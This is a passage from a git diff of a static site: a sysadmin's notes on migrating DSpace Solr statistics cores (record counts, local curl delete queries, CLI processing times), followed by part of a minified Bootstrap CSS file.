+           2,229,332    Item View
+             913,577    Bistream View
+             215,577    Collection View
+             104,734    Community View
+        --------------------------------------
+           3,463,220    TOTAL
+=================================================================
+

Summary of unmigrated docs after processing:

+
    +
  • 0: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 33,161: id:/.+-unmigrated/
    • +
  • 33,161: *:* NOT id:/.{36}/
    • +
  • 33,161 are type: 3 (COLLECTION), which is different than I’ve seen previously… but I suppose I still have to purge them because there will be errors in the Atmire modules otherwise:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2012/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2011

+

Processing the statistics-2011 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2011
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+             904,896    Item View
+             385,789    Bistream View
+             154,356    Collection View
+              62,978    Community View
+        --------------------------------------
+           1,508,019    TOTAL
+=================================================================
+

Summary of unmigrated docs after processing:

+
    +
  • 0: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 17,551: id:/.+-unmigrated/
    • +
  • 17,551: *:* NOT id:/.{36}/
    • +
  • 12,116 are type: 3 (COLLECTION), which is different than I’ve seen previously… but I suppose I still have to purge them because there will be errors in the Atmire modules otherwise:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2011/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

statistics-2010

+

Processing the statistics-2010 core:

+
$ chrt -b 0 dspace solr-upgrade-statistics-6x -n 2500000 -i statistics-2010
+...
+=================================================================
+        *** Statistics Records with Legacy Id ***
+
+              26,067    Item View
+              15,615    Bistream View
+               4,116    Collection View
+               1,094    Community View
+        --------------------------------------
+              46,892    TOTAL
+=================================================================
+

Summary of unmigrated docs after processing:

+
    +
  • 0: (*:* NOT id:/.{36}/) AND (*:* NOT id:/.+-unmigrated/)
    • +
  • 1,012: id:/.+-unmigrated/
    • +
  • 1,012: *:* NOT id:/.{36}/
    • +
  • 654 are type: 3 (COLLECTION), which is different than I’ve seen previously… but I suppose I still have to purge them because there will be errors in the Atmire modules otherwise:
    • +
+
$ curl -s "http://localhost:8081/solr/statistics-2010/update?softCommit=true" -H "Content-Type: text/xml" --data-binary "<delete><query>*:* NOT id:/.{36}/</query></delete>"
+

Processing Solr statistics with AtomicStatisticsUpdateCLI

+

On 2020-11-18 I finished processing the Solr statistics with solr-upgrade-statistics-6x and I started processing them with AtomicStatisticsUpdateCLI.

+

statistics

+

First the current year’s statistics core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics
+

It took ~38 hours to finish processing this core.

+

statistics-2019

+

The statistics-2019 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2019
+

It took ~32 hours to finish processing this core.

+

statistics-2018

+

The statistics-2018 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2018
+

It took ~28 hours to finish processing this core.

+

statistics-2017

+

The statistics-2017 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2017
+

It took ~24 hours to finish processing this core.

+

statistics-2016

+

The statistics-2016 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2016
+

It took ~20 hours to finish processing this core.

+

statistics-2015

+

The statistics-2015 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2015
+

It took ~21 hours to finish processing this core.

+

statistics-2014

+

The statistics-2014 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2014
+

It took ~12 hours to finish processing this core.

+

statistics-2013

+

The statistics-2013 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2013
+

It took ~3 hours to finish processing this core.

+

statistics-2012

+

The statistics-2012 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2012
+

It took ~2 hours to finish processing this core.

+

statistics-2011

+

The statistics-2011 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2011
+

It took 1 hour to finish processing this core.

+

statistics-2010

+

The statistics-2010 core, in 12-hour batches:

+
$ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisticsUpdateCLI -t 12 -c statistics-2010
+

It took five minutes to finish processing this core.

+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/css/style.c6ba80bc50669557645abe05f86b73cc5af84408ed20f1551a267bc19ece8228.css b/docs/css/style.c6ba80bc50669557645abe05f86b73cc5af84408ed20f1551a267bc19ece8228.css new file mode 100644 index 000000000..63f08e049 --- /dev/null +++ b/docs/css/style.c6ba80bc50669557645abe05f86b73cc5af84408ed20f1551a267bc19ece8228.css @@ -0,0 +1,6 @@ +@charset "UTF-8";/*! + * Bootstrap v4.6.0 (https://getbootstrap.com/) + * Copyright 2011-2021 The Bootstrap Authors + * Copyright 2011-2021 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) + */:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-monospace:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace}*,::after,::before{box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:transparent}article,aside,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans","Liberation Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus:not(:focus-visible){outline:0!important}hr{box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:.5rem}p{margin-top:0;margin-bottom:1rem}abbr[data-original-title],abbr[title]{text-decoration:underline;text-decoration:underline dotted;cursor:help;border-bottom:0;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#007bff;text-decoration:none;background-color:transparent}a:hover{color:#0056b3;text-decoration:underline}a:not([href]):not([class]){color:inherit;text-decoration:none}a:not([href]):not([class]):hover{color:inherit;text-decoration:none}code,kbd,pre,samp{font-family:SFMono-Regular,Menlo,Monaco,Consolas,"Liberation Mono","Courier New",monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg{overflow:hidden;vertical-align:middle}table{border-collapse:collapse}caption{padding-top:.75rem;padding-bottom:.75rem;color:#6c757d;text-align:left;caption-side:bottom}th{text-align:inherit;text-align:-webkit-match-parent}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus:not(:focus-visible){outline:0}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}[role=button]{cursor:pointer}select{word-wrap:normal}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button}[type=button]:not(:disabled),[type=reset]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{padding:0;border-style:none}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{outline-offset:-2px;-webkit-appearance:none}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none!important}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{margin-bottom:.5rem;font-weight:500;line-height:1.2}.h1,h1{font-size:2.5rem}.h2,h2{font-size:2rem}.h3,h3{font-size:1.75rem}.h4,h4{font-size:1.5rem}.h5,h5{font-size:1.25rem}.h6,h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:1px solid rgba(0,0,0,.1)}.small,small{font-size:.875em;font-weight:400}.mark,mark{padding:.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:.875em;color:#6c757d}.blockquote-footer::before{content:"— "}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:.25rem;background-color:#fff;border:1px solid #dee2e6;border-radius:.25rem;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:.5rem;line-height:1}.figure-caption{font-size:90%;color:#6c757d}code{font-size:87.5%;color:#e83e8c;word-wrap:break-word}a>code{color:inherit}kbd{padding:.2rem .4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:.2rem}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container,.container-fluid,.container-lg,.container-md,.container-sm,.container-xl{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container,.container-sm{max-width:540px}}@media (min-width:768px){.container,.container-md,.container-sm{max-width:720px}}@media (min-width:992px){.container,.container-lg,.container-md,.container-sm{max-width:960px}}@media (min-width:1200px){.container,.container-lg,.container-md,.container-sm,.container-xl{max-width:1140px}}.row{display:flex;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;padding-right:15px;padding-left:15px}.col{flex-basis:0;flex-grow:1;max-width:100%}.row-cols-1>*{flex:0 0 100%;max-width:100%}.row-cols-2>*{flex:0 0 50%;max-width:50%}.row-cols-3>*{flex:0 0 33.3333333333%;max-width:33.3333333333%}.row-cols-4>*{flex:0 0 25%;max-width:25%}.row-cols-5>*{flex:0 0 20%;max-width:20%}.row-cols-6>*{flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-auto{flex:0 0 auto;width:auto;max-width:100%}.col-1{flex:0 0 8.33333333%;max-width:8.33333333%}.col-2{flex:0 0 16.66666667%;max-width:16.66666667%}.col-3{flex:0 0 25%;max-width:25%}.col-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-6{flex:0 0 50%;max-width:50%}.col-7{flex:0 0 58.33333333%;max-width:58.33333333%}.col-8{flex:0 0 66.66666667%;max-width:66.66666667%}.col-9{flex:0 0 75%;max-width:75%}.col-10{flex:0 0 83.33333333%;max-width:83.33333333%}.col-11{flex:0 0 91.66666667%;max-width:91.66666667%}.col-12{flex:0 0 100%;max-width:100%}.order-first{order:-1}.order-last{order:13}.order-0{order:0}.order-1{order:1}.order-2{order:2}.order-3{order:3}.order-4{order:4}.order-5{order:5}.order-6{order:6}.order-7{order:7}.order-8{order:8}.order-9{order:9}.order-10{order:10}.order-11{order:11}.order-12{order:12}.offset-1{margin-left:8.33333333%}.offset-2{margin-left:16.66666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.33333333%}.offset-5{margin-left:41.66666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.33333333%}.offset-8{margin-left:66.66666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.33333333%}.offset-11{margin-left:91.66666667%}@media (min-width:576px){.col-sm{flex-basis:0;flex-grow:1;max-width:100%}.row-cols-sm-1>*{flex:0 0 100%;max-width:100%}.row-cols-sm-2>*{flex:0 0 50%;max-width:50%}.row-cols-sm-3>*{flex:0 0 33.3333333333%;max-width:33.3333333333%}.row-cols-sm-4>*{flex:0 0 25%;max-width:25%}.row-cols-sm-5>*{flex:0 0 20%;max-width:20%}.row-cols-sm-6>*{flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-auto{flex:0 0 auto;width:auto;max-width:100%}.col-sm-1{flex:0 0 8.33333333%;max-width:8.33333333%}.col-sm-2{flex:0 0 16.66666667%;max-width:16.66666667%}.col-sm-3{flex:0 0 25%;max-width:25%}.col-sm-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-sm-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-sm-6{flex:0 0 50%;max-width:50%}.col-sm-7{flex:0 0 58.33333333%;max-width:58.33333333%}.col-sm-8{flex:0 0 66.66666667%;max-width:66.66666667%}.col-sm-9{flex:0 0 75%;max-width:75%}.col-sm-10{flex:0 0 83.33333333%;max-width:83.33333333%}.col-sm-11{flex:0 0 91.66666667%;max-width:91.66666667%}.col-sm-12{flex:0 0 100%;max-width:100%}.order-sm-first{order:-1}.order-sm-last{order:13}.order-sm-0{order:0}.order-sm-1{order:1}.order-sm-2{order:2}.order-sm-3{order:3}.order-sm-4{order:4}.order-sm-5{order:5}.order-sm-6{order:6}.order-sm-7{order:7}.order-sm-8{order:8}.order-sm-9{order:9}.order-sm-10{order:10}.order-sm-11{order:11}.order-sm-12{order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.33333333%}.offset-sm-2{margin-left:16.66666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.33333333%}.offset-sm-5{margin-left:41.66666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.33333333%}.offset-sm-8{margin-left:66.66666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.33333333%}.offset-sm-11{margin-left:91.66666667%}}@media (min-width:768px){.col-md{flex-basis:0;flex-grow:1;max-width:100%}.row-cols-md-1>*{flex:0 0 100%;max-width:100%}.row-cols-md-2>*{flex:0 0 50%;max-width:50%}.row-cols-md-3>*{flex:0 0 33.3333333333%;max-width:33.3333333333%}.row-cols-md-4>*{flex:0 0 25%;max-width:25%}.row-cols-md-5>*{flex:0 0 20%;max-width:20%}.row-cols-md-6>*{flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-auto{flex:0 0 auto;width:auto;max-width:100%}.col-md-1{flex:0 0 8.33333333%;max-width:8.33333333%}.col-md-2{flex:0 0 16.66666667%;max-width:16.66666667%}.col-md-3{flex:0 0 25%;max-width:25%}.col-md-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-md-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-md-6{flex:0 0 50%;max-width:50%}.col-md-7{flex:0 0 58.33333333%;max-width:58.33333333%}.col-md-8{flex:0 0 66.66666667%;max-width:66.66666667%}.col-md-9{flex:0 0 75%;max-width:75%}.col-md-10{flex:0 0 83.33333333%;max-width:83.33333333%}.col-md-11{flex:0 0 91.66666667%;max-width:91.66666667%}.col-md-12{flex:0 0 100%;max-width:100%}.order-md-first{order:-1}.order-md-last{order:13}.order-md-0{order:0}.order-md-1{order:1}.order-md-2{order:2}.order-md-3{order:3}.order-md-4{order:4}.order-md-5{order:5}.order-md-6{order:6}.order-md-7{order:7}.order-md-8{order:8}.order-md-9{order:9}.order-md-10{order:10}.order-md-11{order:11}.order-md-12{order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.33333333%}.offset-md-2{margin-left:16.66666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.33333333%}.offset-md-5{margin-left:41.66666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.33333333%}.offset-md-8{margin-left:66.66666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.33333333%}.offset-md-11{margin-left:91.66666667%}}@media (min-width:992px){.col-lg{flex-basis:0;flex-grow:1;max-width:100%}.row-cols-lg-1>*{flex:0 0 100%;max-width:100%}.row-cols-lg-2>*{flex:0 0 50%;max-width:50%}.row-cols-lg-3>*{flex:0 0 33.3333333333%;max-width:33.3333333333%}.row-cols-lg-4>*{flex:0 0 25%;max-width:25%}.row-cols-lg-5>*{flex:0 0 20%;max-width:20%}.row-cols-lg-6>*{flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-auto{flex:0 0 auto;width:auto;max-width:100%}.col-lg-1{flex:0 0 8.33333333%;max-width:8.33333333%}.col-lg-2{flex:0 0 16.66666667%;max-width:16.66666667%}.col-lg-3{flex:0 0 25%;max-width:25%}.col-lg-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-lg-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-lg-6{flex:0 0 50%;max-width:50%}.col-lg-7{flex:0 0 58.33333333%;max-width:58.33333333%}.col-lg-8{flex:0 0 66.66666667%;max-width:66.66666667%}.col-lg-9{flex:0 0 75%;max-width:75%}.col-lg-10{flex:0 0 83.33333333%;max-width:83.33333333%}.col-lg-11{flex:0 0 91.66666667%;max-width:91.66666667%}.col-lg-12{flex:0 0 100%;max-width:100%}.order-lg-first{order:-1}.order-lg-last{order:13}.order-lg-0{order:0}.order-lg-1{order:1}.order-lg-2{order:2}.order-lg-3{order:3}.order-lg-4{order:4}.order-lg-5{order:5}.order-lg-6{order:6}.order-lg-7{order:7}.order-lg-8{order:8}.order-lg-9{order:9}.order-lg-10{order:10}.order-lg-11{order:11}.order-lg-12{order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.33333333%}.offset-lg-2{margin-left:16.66666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.33333333%}.offset-lg-5{margin-left:41.66666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.33333333%}.offset-lg-8{margin-left:66.66666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.33333333%}.offset-lg-11{margin-left:91.66666667%}}@media (min-width:1200px){.col-xl{flex-basis:0;flex-grow:1;max-width:100%}.row-cols-xl-1>*{flex:0 0 100%;max-width:100%}.row-cols-xl-2>*{flex:0 0 50%;max-width:50%}.row-cols-xl-3>*{flex:0 0 33.3333333333%;max-width:33.3333333333%}.row-cols-xl-4>*{flex:0 0 25%;max-width:25%}.row-cols-xl-5>*{flex:0 0 20%;max-width:20%}.row-cols-xl-6>*{flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-auto{flex:0 0 auto;width:auto;max-width:100%}.col-xl-1{flex:0 0 8.33333333%;max-width:8.33333333%}.col-xl-2{flex:0 0 16.66666667%;max-width:16.66666667%}.col-xl-3{flex:0 0 25%;max-width:25%}.col-xl-4{flex:0 0 33.33333333%;max-width:33.33333333%}.col-xl-5{flex:0 0 41.66666667%;max-width:41.66666667%}.col-xl-6{flex:0 0 50%;max-width:50%}.col-xl-7{flex:0 0 58.33333333%;max-width:58.33333333%}.col-xl-8{flex:0 0 66.66666667%;max-width:66.66666667%}.col-xl-9{flex:0 0 75%;max-width:75%}.col-xl-10{flex:0 0 83.33333333%;max-width:83.33333333%}.col-xl-11{flex:0 0 91.66666667%;max-width:91.66666667%}.col-xl-12{flex:0 0 100%;max-width:100%}.order-xl-first{order:-1}.order-xl-last{order:13}.order-xl-0{order:0}.order-xl-1{order:1}.order-xl-2{order:2}.order-xl-3{order:3}.order-xl-4{order:4}.order-xl-5{order:5}.order-xl-6{order:6}.order-xl-7{order:7}.order-xl-8{order:8}.order-xl-9{order:9}.order-xl-10{order:10}.order-xl-11{order:11}.order-xl-12{order:12}.offset-xl-0{margin-left:0}.offset-xl-1{margin-left:8.33333333%}.offset-xl-2{margin-left:16.66666667%}.offset-xl-3{margin-left:25%}.offset-xl-4{margin-left:33.33333333%}.offset-xl-5{margin-left:41.66666667%}.offset-xl-6{margin-left:50%}.offset-xl-7{margin-left:58.33333333%}.offset-xl-8{margin-left:66.66666667%}.offset-xl-9{margin-left:75%}.offset-xl-10{margin-left:83.33333333%}.offset-xl-11{margin-left:91.66666667%}}.table{width:100%;margin-bottom:1rem;color:#212529}.table td,.table th{padding:.75rem;vertical-align:top;border-top:1px solid #dee2e6}.table thead th{vertical-align:bottom;border-bottom:2px solid #dee2e6}.table tbody+tbody{border-top:2px solid #dee2e6}.table-sm td,.table-sm th{padding:.3rem}.table-bordered{border:1px solid #dee2e6}.table-bordered td,.table-bordered th{border:1px solid #dee2e6}.table-bordered thead td,.table-bordered thead th{border-bottom-width:2px}.table-borderless tbody+tbody,.table-borderless td,.table-borderless th,.table-borderless thead th{border:0}.table-striped tbody tr:nth-of-type(odd){background-color:rgba(0,0,0,.05)}.table-hover tbody tr:hover{color:#212529;background-color:rgba(0,0,0,.075)}.table-primary,.table-primary>td,.table-primary>th{background-color:#b8daff}.table-primary tbody+tbody,.table-primary td,.table-primary th,.table-primary thead th{border-color:#7abaff}.table-hover .table-primary:hover{background-color:#9fcdff}.table-hover .table-primary:hover>td,.table-hover .table-primary:hover>th{background-color:#9fcdff}.table-secondary,.table-secondary>td,.table-secondary>th{background-color:#d6d8db}.table-secondary tbody+tbody,.table-secondary td,.table-secondary th,.table-secondary thead th{border-color:#b3b7bb}.table-hover .table-secondary:hover{background-color:#c8cbcf}.table-hover .table-secondary:hover>td,.table-hover .table-secondary:hover>th{background-color:#c8cbcf}.table-success,.table-success>td,.table-success>th{background-color:#c3e6cb}.table-success tbody+tbody,.table-success td,.table-success th,.table-success thead th{border-color:#8fd19e}.table-hover .table-success:hover{background-color:#b1dfbb}.table-hover .table-success:hover>td,.table-hover .table-success:hover>th{background-color:#b1dfbb}.table-info,.table-info>td,.table-info>th{background-color:#bee5eb}.table-info tbody+tbody,.table-info td,.table-info th,.table-info thead th{border-color:#86cfda}.table-hover .table-info:hover{background-color:#abdde5}.table-hover .table-info:hover>td,.table-hover .table-info:hover>th{background-color:#abdde5}.table-warning,.table-warning>td,.table-warning>th{background-color:#ffeeba}.table-warning tbody+tbody,.table-warning td,.table-warning th,.table-warning thead th{border-color:#ffdf7e}.table-hover .table-warning:hover{background-color:#ffe8a1}.table-hover .table-warning:hover>td,.table-hover .table-warning:hover>th{background-color:#ffe8a1}.table-danger,.table-danger>td,.table-danger>th{background-color:#f5c6cb}.table-danger tbody+tbody,.table-danger td,.table-danger th,.table-danger thead th{border-color:#ed969e}.table-hover .table-danger:hover{background-color:#f1b0b7}.table-hover .table-danger:hover>td,.table-hover .table-danger:hover>th{background-color:#f1b0b7}.table-light,.table-light>td,.table-light>th{background-color:#fdfdfe}.table-light tbody+tbody,.table-light td,.table-light th,.table-light thead th{border-color:#fbfcfc}.table-hover .table-light:hover{background-color:#ececf6}.table-hover .table-light:hover>td,.table-hover .table-light:hover>th{background-color:#ececf6}.table-dark,.table-dark>td,.table-dark>th{background-color:#c6c8ca}.table-dark tbody+tbody,.table-dark td,.table-dark th,.table-dark thead th{border-color:#95999c}.table-hover .table-dark:hover{background-color:#b9bbbe}.table-hover .table-dark:hover>td,.table-hover .table-dark:hover>th{background-color:#b9bbbe}.table-active,.table-active>td,.table-active>th{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover{background-color:rgba(0,0,0,.075)}.table-hover .table-active:hover>td,.table-hover .table-active:hover>th{background-color:rgba(0,0,0,.075)}.table .thead-dark th{color:#fff;background-color:#343a40;border-color:#454d55}.table .thead-light th{color:#495057;background-color:#e9ecef;border-color:#dee2e6}.table-dark{color:#fff;background-color:#343a40}.table-dark td,.table-dark th,.table-dark thead th{border-color:#454d55}.table-dark.table-bordered{border:0}.table-dark.table-striped tbody tr:nth-of-type(odd){background-color:rgba(255,255,255,.05)}.table-dark.table-hover tbody tr:hover{color:#fff;background-color:rgba(255,255,255,.075)}@media (max-width:575.98px){.table-responsive-sm{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-sm>.table-bordered{border:0}}@media (max-width:767.98px){.table-responsive-md{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-md>.table-bordered{border:0}}@media (max-width:991.98px){.table-responsive-lg{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-lg>.table-bordered{border:0}}@media (max-width:1199.98px){.table-responsive-xl{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive-xl>.table-bordered{border:0}}.table-responsive{display:block;width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch}.table-responsive>.table-bordered{border:0}.form-control{display:block;width:100%;height:calc(1.5em + .75rem + 2px);padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;background-color:#fff;background-clip:padding-box;border:1px solid #ced4da;border-radius:.25rem;transition:border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.form-control{transition:none}}.form-control::-ms-expand{background-color:transparent;border:0}.form-control:focus{color:#495057;background-color:#fff;border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.form-control::placeholder{color:#6c757d;opacity:1}.form-control:disabled,.form-control[readonly]{background-color:#e9ecef;opacity:1}input[type=date].form-control,input[type=datetime-local].form-control,input[type=month].form-control,input[type=time].form-control{appearance:none}select.form-control:-moz-focusring{color:transparent;text-shadow:0 0 0 #495057}select.form-control:focus::-ms-value{color:#495057;background-color:#fff}.form-control-file,.form-control-range{display:block;width:100%}.col-form-label{padding-top:calc(.375rem + 1px);padding-bottom:calc(.375rem + 1px);margin-bottom:0;font-size:inherit;line-height:1.5}.col-form-label-lg{padding-top:calc(.5rem + 1px);padding-bottom:calc(.5rem + 1px);font-size:1.25rem;line-height:1.5}.col-form-label-sm{padding-top:calc(.25rem + 1px);padding-bottom:calc(.25rem + 1px);font-size:.875rem;line-height:1.5}.form-control-plaintext{display:block;width:100%;padding:.375rem 0;margin-bottom:0;font-size:1rem;line-height:1.5;color:#212529;background-color:transparent;border:solid transparent;border-width:1px 0}.form-control-plaintext.form-control-lg,.form-control-plaintext.form-control-sm{padding-right:0;padding-left:0}.form-control-sm{height:calc(1.5em + .5rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.form-control-lg{height:calc(1.5em + 1rem + 2px);padding:.5rem 